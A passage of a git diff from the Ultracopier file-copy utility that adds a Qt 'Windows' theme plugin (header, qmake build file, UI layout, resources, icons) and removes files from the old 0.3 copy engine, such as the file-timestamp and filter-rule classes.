+ else
+ ui->text->setText(tr("In waiting"));
+ }
+}
diff --git a/plugins-alternative/Themes/Windows/interface.h b/plugins-alternative/Themes/Windows/interface.h
new file mode 100644
index 0000000..5de55e6
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/interface.h
@@ -0,0 +1,165 @@
+/** \file interface.h
+\brief Define the interface
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#ifndef INTERFACE_TEST_H
+#define INTERFACE_TEST_H
+
+#include <QObject>
+#include <QWidget>
+#include <QMenu>
+#include <QCloseEvent>
+
+#include "../../../interface/PluginInterface_Themes.h"
+#include "TransferModel.h"
+
+namespace Ui {
+ class interface;
+}
+
+/// \brief Define the interface
+class Themes : public PluginInterface_Themes
+{
+ Q_OBJECT
+public slots:
+ //send information about the copy
+ /// \brief to set the action in progress
+ void actionInProgess(const Ultracopier::EngineActionInProgress &);
+ /// \brief new transfer have started
+ void newTransferStart(const Ultracopier::ItemOfCopyList &item);
+ /** \brief one transfer have been stopped
+ * is stopped, example: because error have occurred, and try later, don't remove the item! */
+ void newTransferStop(const quint64 &id);
+ /// \brief the new folder is listing
+ void newFolderListing(const QString &path);
+ /** \brief show the detected speed
+ * in byte per seconds */
+ void detectedSpeed(const quint64 &speed);
+ /** \brief support speed limitation */
+ void setSupportSpeedLimitation(const bool &supportSpeedLimitationBool);
+ /** \brief show the remaining time
+ * time in seconds */
+ void remainingTime(const int &remainingSeconds);
+ /// \brief set the current collision action
+ void newCollisionAction(const QString &action);
+ /// \brief set the current error action
+ void newErrorAction(const QString &action);
+ /// \brief set one error is detected
+ void errorDetected();
+ /// \brief new error
+ void errorToRetry(const QString &source,const QString &destination,const QString &error);
+ //speed limitation
+ /** \brief the max speed used
+ * in byte per seconds, -1 if not able, 0 if disabled */
+ bool setSpeedLimitation(const qint64 &speedLimitation);
+ //set the translate
+ void newLanguageLoaded();
+public:
+ /// \brief the transfer item with progression
+ struct ItemOfCopyListWithMoreInformations
+ {
+ quint64 currentProgression;
+ Ultracopier::ItemOfCopyList generalData;
+ Ultracopier::ActionTypeCopyList actionType;
+ bool custom_with_progression;
+ };
+ /// \brief returned first transfer item
+ struct currentTransfertItem
+ {
+ quint64 id;
+ bool haveItem;
+ QString from;
+ QString to;
+ QString current_file;
+ int progressBar_file;
+ };
+ /// \brief get the widget for the copy engine
+ QWidget * getOptionsEngineWidget();
+ /// \brief to set if the copy engine is found
+ void getOptionsEngineEnabled(const bool &isEnabled);
+ /// \brief get action on the transfer list (add/move/remove)
+ void getActionOnList(const QList<Ultracopier::ReturnActionOnCopyList> &returnActions);
+ //get information about the copy
+ /// \brief show the general progression
+ void setGeneralProgression(const quint64 &current,const quint64 &total);
+ /// \brief show the file progression
+ void setFileProgression(const QList<Ultracopier::ProgressionItem> &progressionList);
+ /// \brief set collision action
+ void setCollisionAction(const QList<QPair<QString,QString> > &);
+ /// \brief set error action
+ void setErrorAction(const QList<QPair<QString,QString> > &);
+ /// \brief set the copyType -> file or folder
+ void setCopyType(const Ultracopier::CopyType &);
+ /// \brief set the copyMove -> copy or move, to force in copy or move, else support both
+ void forceCopyMode(const Ultracopier::CopyMode &);
+ /// \brief set if transfer list is exportable/importable
+ void setTransferListOperation(const Ultracopier::TransferListOperation &transferListOperation);
+ /** \brief set if the order is external (like file manager copy)
+ * to notify the interface, which can hide add folder/filer button */
+ void haveExternalOrder();
+ /// \brief set if is in pause
+ void isInPause(const bool &);
+signals:
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ /// \brief To debug source
+ void debugInformation(const Ultracopier::DebugLevel &level,const QString &fonction,const QString &text,const QString &file,const int &ligne);
+ #endif
+/* //set the transfer list
+ void removeItems(QList<int> ids);
+ void moveItemsOnTop(QList<int> ids);
+ void moveItemsUp(QList<int> ids);
+ void moveItemsDown(QList<int> ids);
+ void moveItemsOnBottom(QList<int> ids);
+ void exportTransferList();
+ void importTransferList();
+ //user ask ask to add folder (add it with interface ask source/destination)
+ void userAddFolder(CopyMode);
+ void userAddFile(CopyMode);
+ void urlDropped(QList<QUrl> urls);
+ //action on the copy
+ void pause();
+ void resume();
+ void skip(quint64 id);
+ void cancel();
+ //edit the action
+ void sendCollisionAction(QString action);
+ void sendErrorAction(QString action);
+ void newSpeedLimitation(qint64);*/
+public:
+ //constructor and destructor
+ Themes(FacilityInterface * facilityEngine);
+ ~Themes();
+private:
+ Ui::interface *ui;
+ TransferModel transferModel;
+ void updateTitle();
+ QMenu *menu;
+ Ultracopier::EngineActionInProgress action;
+ void closeEvent(QCloseEvent *event);
+ void updateModeAndType();
+ bool modeIsForced;
+ Ultracopier::CopyType type;
+ Ultracopier::CopyMode mode;
+ bool haveStarted;
+ QList<ItemOfCopyListWithMoreInformations> InternalRunningOperation;
+ int loop_size,index_for_loop;
+ int sub_loop_size,sub_index_for_loop;
+ FacilityInterface * facilityEngine;
+ void updateDetails();
+ void updateInformations();
+ int remainingSeconds;
+ quint64 progression_current;
+ quint64 progression_total;
+ quint64 speed;
+private slots:
+ void forcedModeAddFile();
+ void forcedModeAddFolder();
+ void forcedModeAddFileToCopy();
+ void forcedModeAddFolderToCopy();
+ void forcedModeAddFileToMove();
+ void forcedModeAddFolderToMove();
+ void on_more_toggled(bool checked);
+};
+
+#endif // INTERFACE_TEST_H
diff --git a/plugins-alternative/Themes/Windows/interface.pro b/plugins-alternative/Themes/Windows/interface.pro
new file mode 100644
index 0000000..9a82f6a
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/interface.pro
@@ -0,0 +1,48 @@
+CONFIG += c++11
+QMAKE_CXXFLAGS+="-std=c++0x -Wall -Wextra"
+mac:QMAKE_CXXFLAGS+="-stdlib=libc++"
+
+QT += widgets
+TEMPLATE = lib
+CONFIG += plugin
+HEADERS = interface.h \
+ StructEnumDefinition.h \
+ factory.h \
+ ../../../interface/PluginInterface_Themes.h \
+ TransferModel.h
+SOURCES = interface.cpp \
+ factory.cpp \
+ TransferModel.cpp
+TARGET = $$qtLibraryTarget(interface)
+TRANSLATIONS += Languages/ar/translation.ts \
+ Languages/de/translation.ts \
+ Languages/el/translation.ts \
+ Languages/en/translation.ts \
+ Languages/es/translation.ts \
+ Languages/fr/translation.ts \
+ Languages/hi/translation.ts \
+ Languages/hu/translation.ts \
+ Languages/id/translation.ts \
+ Languages/it/translation.ts \
+ Languages/ja/translation.ts \
+ Languages/ko/translation.ts \
+ Languages/nl/translation.ts \
+ Languages/no/translation.ts \
+ Languages/pl/translation.ts \
+ Languages/ru/translation.ts \
+ Languages/th/translation.ts \
+ Languages/tr/translation.ts \
+ Languages/zh/translation.ts
+
+FORMS += \
+ interface.ui
+
+RESOURCES += \
+ resources.qrc
+
+win32 {
+ RESOURCES += resources_windows.qrc
+}
+!win32 {
+ RESOURCES += resources_unix.qrc
+}
diff --git a/plugins-alternative/Themes/Windows/interface.ui b/plugins-alternative/Themes/Windows/interface.ui
new file mode 100644
index 0000000..f255562
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/interface.ui
@@ -0,0 +1,415 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<ui version="4.0">
+ <class>interface</class>
+ <widget class="QWidget" name="interface">
+ <property name="geometry">
+ <rect>
+ <x>0</x>
+ <y>0</y>
+ <width>420</width>
+ <height>284</height>
+ </rect>
+ </property>
+ <property name="sizePolicy">
+ <sizepolicy hsizetype="Minimum" vsizetype="Minimum">
+ <horstretch>0</horstretch>
+ <verstretch>0</verstretch>
+ </sizepolicy>
+ </property>
+ <property name="minimumSize">
+ <size>
+ <width>420</width>
+ <height>0</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>420</width>
+ <height>16777215</height>
+ </size>
+ </property>
+ <property name="windowTitle">
+ <string notr="true">Ultracopier</string>
+ </property>
+ <property name="windowIcon">
+ <iconset resource="resources.qrc">
+ <normaloff>:/Themes/Windows/resources/icon.png</normaloff>:/Themes/Windows/resources/icon.png</iconset>
+ </property>
+ <layout class="QVBoxLayout" name="verticalLayout">
+ <property name="spacing">
+ <number>0</number>
+ </property>
+ <property name="margin">
+ <number>0</number>
+ </property>
+ <item>
+ <widget class="QWidget" name="widget" native="true">
+ <property name="minimumSize">
+ <size>
+ <width>420</width>
+ <height>42</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>420</width>
+ <height>42</height>
+ </size>
+ </property>
+ <property name="styleSheet">
+ <string notr="true">background-color: qlineargradient(spread:pad, x1:0, y1:0, x2:1, y2:0, stop:0 rgba(230, 240, 255, 255), stop:0.5 rgba(166, 199, 230, 255), stop:1 rgba(3, 40, 84, 255));</string>
+ </property>
+ <layout class="QHBoxLayout" name="horizontalLayout_3">
+ <property name="leftMargin">
+ <number>20</number>
+ </property>
+ <property name="topMargin">
+ <number>0</number>
+ </property>
+ <property name="rightMargin">
+ <number>20</number>
+ </property>
+ <property name="bottomMargin">
+ <number>0</number>
+ </property>
+ <item>
+ <widget class="QLabel" name="label_main">
+ <property name="styleSheet">
+ <string notr="true">background-color: rgba(255, 0, 0, 0);
+font: 12pt &quot;Sans Serif&quot;;</string>
+ </property>
+ <property name="text">
+ <string notr="true">Copying 0 item (0KB)</string>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QLabel" name="label_2">
+ <property name="minimumSize">
+ <size>
+ <width>51</width>
+ <height>40</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>51</width>
+ <height>40</height>
+ </size>
+ </property>
+ <property name="styleSheet">
+ <string notr="true">background-color: rgba(255, 0, 0, 0);</string>
+ </property>
+ <property name="pixmap">
+ <pixmap resource="resources.qrc">:/Themes/Windows/resources/icon-top.png</pixmap>
+ </property>
+ </widget>
+ </item>
+ </layout>
+ </widget>
+ </item>
+ <item>
+ <widget class="QWidget" name="widget_2" native="true">
+ <property name="minimumSize">
+ <size>
+ <width>420</width>
+ <height>0</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>420</width>
+ <height>16777215</height>
+ </size>
+ </property>
+ <property name="styleSheet">
+ <string notr="true">background-color: rgb(255, 255, 255);</string>
+ </property>
+ <layout class="QVBoxLayout" name="verticalLayout_2">
+ <property name="spacing">
+ <number>14</number>
+ </property>
+ <property name="leftMargin">
+ <number>20</number>
+ </property>
+ <property name="topMargin">
+ <number>14</number>
+ </property>
+ <property name="rightMargin">
+ <number>20</number>
+ </property>
+ <property name="bottomMargin">
+ <number>14</number>
+ </property>
+ <item>
+ <widget class="QLabel" name="text">
+ <property name="sizePolicy">
+ <sizepolicy hsizetype="Minimum" vsizetype="Minimum">
+ <horstretch>0</horstretch>
+ <verstretch>0</verstretch>
+ </sizepolicy>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>16777215</width>
+ <height>28</height>
+ </size>
+ </property>
+ <property name="text">
+ <string notr="true">from &lt;b&gt;%1&lt;/b&gt; (%2) to &lt;b&gt;%3&lt;/b&gt; (%4)&lt;br /&gt;
+%5</string>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QWidget" name="details" native="true">
+ <layout class="QFormLayout" name="formLayout">
+ <property name="labelAlignment">
+ <set>Qt::AlignLeading|Qt::AlignLeft|Qt::AlignVCenter</set>
+ </property>
+ <property name="verticalSpacing">
+ <number>2</number>
+ </property>
+ <item row="0" column="0">
+ <widget class="QLabel" name="label_3">
+ <property name="text">
+ <string>Name:</string>
+ </property>
+ </widget>
+ </item>
+ <item row="0" column="1">
+ <widget class="QLabel" name="label_file"/>
+ </item>
+ <item row="1" column="0">
+ <widget class="QLabel" name="label_5">
+ <property name="text">
+ <string>From:</string>
+ </property>
+ </widget>
+ </item>
+ <item row="1" column="1">
+ <widget class="QLabel" name="label_from"/>
+ </item>
+ <item row="2" column="0">
+ <widget class="QLabel" name="label_6">
+ <property name="text">
+ <string>To:</string>
+ </property>
+ </widget>
+ </item>
+ <item row="2" column="1">
+ <widget class="QLabel" name="label_to"/>
+ </item>
+ <item row="3" column="0">
+ <widget class="QLabel" name="label_7">
+ <property name="text">
+ <string>Time remaining:</string>
+ </property>
+ </widget>
+ </item>
+ <item row="3" column="1">
+ <widget class="QLabel" name="label_remaining_time"/>
+ </item>
+ <item row="4" column="0">
+ <widget class="QLabel" name="label_8">
+ <property name="text">
+ <string>Items remaining:</string>
+ </property>
+ </widget>
+ </item>
+ <item row="4" column="1">
+ <widget class="QLabel" name="label_items"/>
+ </item>
+ <item row="5" column="0">
+ <widget class="QLabel" name="label_9">
+ <property name="text">
+ <string>Speed:</string>
+ </property>
+ </widget>
+ </item>
+ <item row="5" column="1">
+ <widget class="QLabel" name="label_speed"/>
+ </item>
+ </layout>
+ </widget>
+ </item>
+ <item>
+ <widget class="QProgressBar" name="progressBar">
+ <property name="minimumSize">
+ <size>
+ <width>0</width>
+ <height>14</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>16777215</width>
+ <height>14</height>
+ </size>
+ </property>
+ <property name="maximum">
+ <number>65535</number>
+ </property>
+ <property name="textVisible">
+ <bool>false</bool>
+ </property>
+ </widget>
+ </item>
+ </layout>
+ </widget>
+ </item>
+ <item>
+ <widget class="QWidget" name="widget_bottom" native="true">
+ <property name="minimumSize">
+ <size>
+ <width>420</width>
+ <height>42</height>
+ </size>
+ </property>
+ <property name="maximumSize">
+ <size>
+ <width>420</width>
+ <height>42</height>
+ </size>
+ </property>
+ <layout class="QHBoxLayout" name="horizontalLayout_2">
+ <property name="leftMargin">
+ <number>20</number>
+ </property>
+ <property name="topMargin">
+ <number>0</number>
+ </property>
+ <property name="rightMargin">
+ <number>20</number>
+ </property>
+ <property name="bottomMargin">
+ <number>0</number>
+ </property>
+ <item>
+ <widget class="QToolButton" name="more">
+ <property name="text">
+ <string>More information</string>
+ </property>
+ <property name="icon">
+ <iconset resource="resources.qrc">
+ <normaloff>:/Themes/Windows/resources/arrow-down.png</normaloff>:/Themes/Windows/resources/arrow-down.png</iconset>
+ </property>
+ <property name="checkable">
+ <bool>true</bool>
+ </property>
+ <property name="toolButtonStyle">
+ <enum>Qt::ToolButtonTextBesideIcon</enum>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <spacer name="horizontalSpacer">
+ <property name="orientation">
+ <enum>Qt::Horizontal</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>123</width>
+ <height>20</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ <item>
+ <widget class="QToolButton" name="toolButton">
+ <property name="text">
+ <string notr="true">...</string>
+ </property>
+ <property name="popupMode">
+ <enum>QToolButton::InstantPopup</enum>
+ </property>
+ </widget>
+ </item>
+ <item>
+ <widget class="QPushButton" name="Cancel">
+ <property name="text">
+ <string>Cancel</string>
+ </property>
+ </widget>
+ </item>
+ </layout>
+ </widget>
+ </item>
+ </layout>
+ <action name="actionAddFile">
+ <property name="icon">
+ <iconset>
+ <normaloff>:/Themes/Windows/resources/add.png</normaloff>:/Themes/Windows/resources/add.png</iconset>
+ </property>
+ <property name="text">
+ <string>Add file</string>
+ </property>
+ </action>
+ <action name="actionAddFolder">
+ <property name="icon">
+ <iconset>
+ <normaloff>:/Themes/Windows/resources/add.png</normaloff>:/Themes/Windows/resources/add.png</iconset>
+ </property>
+ <property name="text">
+ <string>Add folder</string>
+ </property>
+ </action>
+ <action name="actionAddFileToMove">
+ <property name="icon">
+ <iconset>
+ <normaloff>:/Themes/Windows/resources/add.png</normaloff>:/Themes/Windows/resources/add.png</iconset>
+ </property>
+ <property name="text">
+ <string>Move file(s)</string>
+ </property>
+ </action>
+ <action name="actionAddFolderToMove">
+ <property name="icon">
+ <iconset>
+ <normaloff>:/Themes/Windows/resources/add.png</normaloff>:/Themes/Windows/resources/add.png</iconset>
+ </property>
+ <property name="text">
+ <string>Move folder</string>
+ </property>
+ </action>
+ <action name="actionAddFileToCopy">
+ <property name="icon">
+ <iconset>
+ <normaloff>:/Themes/Windows/resources/add.png</normaloff>:/Themes/Windows/resources/add.png</iconset>
+ </property>
+ <property name="text">
+ <string>Copy file(s)</string>
+ </property>
+ </action>
+ <action name="actionAddFolderToCopy">
+ <property name="icon">
+ <iconset>
+ <normaloff>:/Themes/Windows/resources/add.png</normaloff>:/Themes/Windows/resources/add.png</iconset>
+ </property>
+ <property name="text">
+ <string>Copy folder</string>
+ </property>
+ </action>
+ </widget>
+ <resources>
+ <include location="resources.qrc"/>
+ </resources>
+ <connections>
+ <connection>
+ <sender>Cancel</sender>
+ <signal>clicked()</signal>
+ <receiver>interface</receiver>
+ <slot>close()</slot>
+ <hints>
+ <hint type="sourcelabel">
+ <x>388</x>
+ <y>349</y>
+ </hint>
+ <hint type="destinationlabel">
+ <x>523</x>
+ <y>498</y>
+ </hint>
+ </hints>
+ </connection>
+ </connections>
+</ui>
diff --git a/plugins-alternative/Themes/Windows/plugin.json b/plugins-alternative/Themes/Windows/plugin.json
new file mode 100644
index 0000000..9e26dfe
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/plugin.json
@@ -0,0 +1 @@
+{} \ No newline at end of file
diff --git a/plugins-alternative/Themes/Windows/resources.qrc b/plugins-alternative/Themes/Windows/resources.qrc
new file mode 100644
index 0000000..f7ffc64
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/resources.qrc
@@ -0,0 +1,10 @@
+<RCC>
+ <qresource prefix="/Themes/Windows">
+ <file>resources/icon.png</file>
+ <file>resources/arrow-down.png</file>
+ <file>resources/arrow-up.png</file>
+ <file>resources/SystemTrayIcon/informations.png</file>
+ <file>resources/icon-top.png</file>
+ <file>resources/empty.png</file>
+ </qresource>
+</RCC>
diff --git a/plugins-alternative/Themes/Windows/resources/SystemTrayIcon/informations.png b/plugins-alternative/Themes/Windows/resources/SystemTrayIcon/informations.png
new file mode 100644
index 0000000..5b7b255
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/resources/SystemTrayIcon/informations.png
Binary files differ
diff --git a/plugins-alternative/Themes/Windows/resources/SystemTrayIcon/systray_Caught_Unix.png b/plugins-alternative/Themes/Windows/resources/SystemTrayIcon/systray_Caught_Unix.png
new file mode 100644
index 0000000..6f5d1cf
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/resources/SystemTrayIcon/systray_Caught_Unix.png
Binary files differ
diff --git a/plugins-alternative/Themes/Windows/resources/SystemTrayIcon/systray_Caught_Windows.png b/plugins-alternative/Themes/Windows/resources/SystemTrayIcon/systray_Caught_Windows.png
new file mode 100644
index 0000000..5464856
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/resources/SystemTrayIcon/systray_Caught_Windows.png
Binary files differ
diff --git a/plugins-alternative/Themes/Windows/resources/SystemTrayIcon/systray_Semiuncaught_Unix.png b/plugins-alternative/Themes/Windows/resources/SystemTrayIcon/systray_Semiuncaught_Unix.png
new file mode 100644
index 0000000..3961215
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/resources/SystemTrayIcon/systray_Semiuncaught_Unix.png
Binary files differ
diff --git a/plugins-alternative/Themes/Windows/resources/SystemTrayIcon/systray_Semiuncaught_Windows.png b/plugins-alternative/Themes/Windows/resources/SystemTrayIcon/systray_Semiuncaught_Windows.png
new file mode 100644
index 0000000..45d6315
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/resources/SystemTrayIcon/systray_Semiuncaught_Windows.png
Binary files differ
diff --git a/plugins-alternative/Themes/Windows/resources/SystemTrayIcon/systray_Uncaught_Unix.png b/plugins-alternative/Themes/Windows/resources/SystemTrayIcon/systray_Uncaught_Unix.png
new file mode 100644
index 0000000..ac4299a
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/resources/SystemTrayIcon/systray_Uncaught_Unix.png
Binary files differ
diff --git a/plugins-alternative/Themes/Windows/resources/SystemTrayIcon/systray_Uncaught_Windows.png b/plugins-alternative/Themes/Windows/resources/SystemTrayIcon/systray_Uncaught_Windows.png
new file mode 100644
index 0000000..6e6bae7
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/resources/SystemTrayIcon/systray_Uncaught_Windows.png
Binary files differ
diff --git a/plugins-alternative/Themes/Windows/resources/arrow-down.png b/plugins-alternative/Themes/Windows/resources/arrow-down.png
new file mode 100644
index 0000000..39b5c37
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/resources/arrow-down.png
Binary files differ
diff --git a/plugins-alternative/Themes/Windows/resources/arrow-up.png b/plugins-alternative/Themes/Windows/resources/arrow-up.png
new file mode 100644
index 0000000..5c824fb
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/resources/arrow-up.png
Binary files differ
diff --git a/plugins-alternative/Themes/Windows/resources/empty.png b/plugins-alternative/Themes/Windows/resources/empty.png
new file mode 100644
index 0000000..846d96d
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/resources/empty.png
Binary files differ
diff --git a/plugins-alternative/Themes/Windows/resources/icon-top.png b/plugins-alternative/Themes/Windows/resources/icon-top.png
new file mode 100644
index 0000000..64b7992
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/resources/icon-top.png
Binary files differ
diff --git a/plugins-alternative/Themes/Windows/resources/icon-top.xcf b/plugins-alternative/Themes/Windows/resources/icon-top.xcf
new file mode 100644
index 0000000..9a775e2
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/resources/icon-top.xcf
Binary files differ
diff --git a/plugins-alternative/Themes/Windows/resources/icon.png b/plugins-alternative/Themes/Windows/resources/icon.png
new file mode 100644
index 0000000..eccfbc5
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/resources/icon.png
Binary files differ
diff --git a/plugins-alternative/Themes/Windows/resources_unix.qrc b/plugins-alternative/Themes/Windows/resources_unix.qrc
new file mode 100644
index 0000000..3904f69
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/resources_unix.qrc
@@ -0,0 +1,7 @@
+<RCC>
+ <qresource prefix="/Themes/Windows">
+ <file>resources/SystemTrayIcon/systray_Caught_Unix.png</file>
+ <file>resources/SystemTrayIcon/systray_Semiuncaught_Unix.png</file>
+ <file>resources/SystemTrayIcon/systray_Uncaught_Unix.png</file>
+ </qresource>
+</RCC>
diff --git a/plugins-alternative/Themes/Windows/resources_windows.qrc b/plugins-alternative/Themes/Windows/resources_windows.qrc
new file mode 100644
index 0000000..28666fc
--- /dev/null
+++ b/plugins-alternative/Themes/Windows/resources_windows.qrc
@@ -0,0 +1,7 @@
+<RCC>
+ <qresource prefix="/Themes/Windows">
+ <file>resources/SystemTrayIcon/systray_Caught_Windows.png</file>
+ <file>resources/SystemTrayIcon/systray_Semiuncaught_Windows.png</file>
+ <file>resources/SystemTrayIcon/systray_Uncaught_Windows.png</file>
+ </qresource>
+</RCC>
diff --git a/plugins-alternative/static-plugins-supercopier.qrc b/plugins-alternative/static-plugins-supercopier.qrc
new file mode 100644
index 0000000..d3ae224
--- /dev/null
+++ b/plugins-alternative/static-plugins-supercopier.qrc
@@ -0,0 +1,6 @@
+<RCC>
+ <qresource prefix="/">
+ <file>Themes/Supercopier/informations.xml</file>
+ <file>Themes/Supercopier/Languages/fr/translation.qm</file>
+ </qresource>
+</RCC>
diff --git a/plugins/CopyEngine/Rsync/Rsync.pro b/plugins/CopyEngine/Rsync/Rsync.pro
new file mode 100644
index 0000000..168fadd
--- /dev/null
+++ b/plugins/CopyEngine/Rsync/Rsync.pro
@@ -0,0 +1,2 @@
+include(../Ultracopier/CopyEngine.pro)
+DEFINES += ULTRACOPIER_PLUGIN_RSYNC
diff --git a/plugins/CopyEngine/Ultracopier-0.3/AvancedQFile.cpp b/plugins/CopyEngine/Ultracopier-0.3/AvancedQFile.cpp
deleted file mode 100644
index af5805b..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/AvancedQFile.cpp
+++ /dev/null
@@ -1,94 +0,0 @@
-/** \file AvancedQFile.cpp
-\brief Define the QFile herited class to set file date/time
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#include "AvancedQFile.h"
-
-#ifdef Q_CC_GNU
-//this next header is needed to change file time/date under gcc
-#include <utime.h>
-#include <errno.h>
-#endif
-
-//source
-//hSrc=CreateFile(pData->pfiSrcFile->GetFullFilePath(), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN | (bNoBuffer ? FILE_FLAG_NO_BUFFERING | FILE_FLAG_WRITE_THROUGH : 0), NULL);
-//destination
-//hDst=CreateFile(pData->strDstFile, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN | (bNoBuffer ? FILE_FLAG_NO_BUFFERING | FILE_FLAG_WRITE_THROUGH : 0), NULL);
-
-bool AvancedQFile::setCreated(QDateTime time)
-{
- time_t ctime=time.toTime_t();
- #ifdef Q_CC_GNU
- //creation time not exists into unix world
- Q_UNUSED(ctime)
- return true;
- #else
- setErrorString(tr("Not supported on this platform"));
- return false;
- #endif
-}
-
-bool AvancedQFile::setLastModified(QDateTime time)
-{
- time_t actime=QFileInfo(*this).lastRead().toTime_t();
- //protect to wrong actime
- if(actime<0)
- actime=0;
- time_t modtime=time.toTime_t();
- if(modtime<0)
- {
- setErrorString(tr("Last modified date is wrong"));
- return false;
- }
- #ifdef Q_CC_GNU
- //this function avalaible on unix and mingw
- utimbuf butime;
- butime.actime=actime;
- butime.modtime=modtime;
- int returnVal=utime(this->fileName().toLocal8Bit().data(),&butime);
- if(returnVal==0)
- return true;
- else
- {
- setErrorString(strerror(errno));
- return false;
- }
- #else
- setErrorString(tr("Not supported on this platform"));
- return false;
- #endif
-}
-
-bool AvancedQFile::setLastRead(QDateTime time)
-{
- time_t modtime=QFileInfo(*this).lastModified().toTime_t();
- //protect to wrong actime
- if(modtime<0)
- modtime=0;
- time_t actime=time.toTime_t();
- if(actime<0)
- {
- setErrorString(tr("Last access date is wrong"));
- return false;
- }
- #ifdef Q_CC_GNU
- //this function avalaible on unix and mingw
- utimbuf butime;
- butime.actime=actime;
- butime.modtime=modtime;
- int returnVal=utime(this->fileName().toLocal8Bit().data(),&butime);
- if(returnVal==0)
- return true;
- else
- {
- setErrorString(strerror(errno));
- return false;
- }
- #else
- setErrorString(tr("Not supported on this platform"));
- return false;
- #endif
-}
-
diff --git a/plugins/CopyEngine/Ultracopier-0.3/AvancedQFile.h b/plugins/CopyEngine/Ultracopier-0.3/AvancedQFile.h
deleted file mode 100644
index 284cf02..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/AvancedQFile.h
+++ /dev/null
@@ -1,32 +0,0 @@
-/** \file AvancedQFile.h
-\brief Define the QFile herited class to set file date/time
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#ifndef AVANCEDQFILE_H
-#define AVANCEDQFILE_H
-
-#include <QFile>
-#include <QDateTime>
-#include <QFileInfo>
-
-/// \brief devired class from QFile to set time/date on file
-class AvancedQFile : public QFile
-{
- Q_OBJECT
-public:
- /// \brief set created date, not exists in unix world
- bool setCreated(QDateTime time);
- /// \brief set last modification date
- bool setLastModified(QDateTime time);
- /// \brief set last read date
- bool setLastRead(QDateTime time);
-
-/* //fileName
- void close();
- bool open ( FILE * fh, OpenMode mode )
- bool open ( int fd, OpenMode mode )*/
-};
-
-#endif // AVANCEDQFILE_H
diff --git a/plugins/CopyEngine/Ultracopier-0.3/CompilerInfo.h b/plugins/CopyEngine/Ultracopier-0.3/CompilerInfo.h
deleted file mode 100644
index 84625b9..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/CompilerInfo.h
+++ /dev/null
@@ -1 +0,0 @@
-#include "../../../CompilerInfo.h"
diff --git a/plugins/CopyEngine/Ultracopier-0.3/FilterRules.cpp b/plugins/CopyEngine/Ultracopier-0.3/FilterRules.cpp
deleted file mode 100644
index 0e6ba25..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/FilterRules.cpp
+++ /dev/null
@@ -1,193 +0,0 @@
-#include "FilterRules.h"
-#include "ui_FilterRules.h"
-
-#include <QMessageBox>
-
-FilterRules::FilterRules(QWidget *parent) :
- QDialog(parent),
- ui(new Ui::FilterRules)
-{
- ui->setupUi(this);
- updateChecking();
- haveBeenValided=false;
-}
-
-FilterRules::~FilterRules()
-{
- delete ui;
-}
-
-bool FilterRules::getIsValid()
-{
- return isValid && haveBeenValided;
-}
-
-QString FilterRules::get_search_text()
-{
- return ui->search->text();
-}
-
-SearchType FilterRules::get_search_type()
-{
- switch(ui->search_type->currentIndex())
- {
- case 0:
- return SearchType_rawText;
- case 1:
- return SearchType_simpleRegex;
- case 2:
- return SearchType_perlRegex;
- }
- return SearchType_simpleRegex;
-}
-
-ApplyOn FilterRules::get_apply_on()
-{
- switch(ui->apply_on->currentIndex())
- {
- case 0:
- return ApplyOn_file;
- case 1:
- return ApplyOn_fileAndFolder;
- case 2:
- return ApplyOn_folder;
- }
- return ApplyOn_fileAndFolder;
-}
-
-bool FilterRules::get_need_match_all()
-{
- return ui->need_match_all->isChecked();
-}
-
-void FilterRules::set_search_text(QString search_text)
-{
- ui->search->setText(search_text);
-}
-
-void FilterRules::set_search_type(SearchType search_type)
-{
- switch(search_type)
- {
- case SearchType_rawText:
- ui->search_type->setCurrentIndex(0);
- break;
- case SearchType_simpleRegex:
- ui->search_type->setCurrentIndex(1);
- break;
- case SearchType_perlRegex:
- ui->search_type->setCurrentIndex(2);
- break;
- }
-}
-
-void FilterRules::set_apply_on(ApplyOn apply_on)
-{
- switch(apply_on)
- {
- case ApplyOn_file:
- ui->apply_on->setCurrentIndex(0);
- break;
- case ApplyOn_fileAndFolder:
- ui->apply_on->setCurrentIndex(1);
- break;
- case ApplyOn_folder:
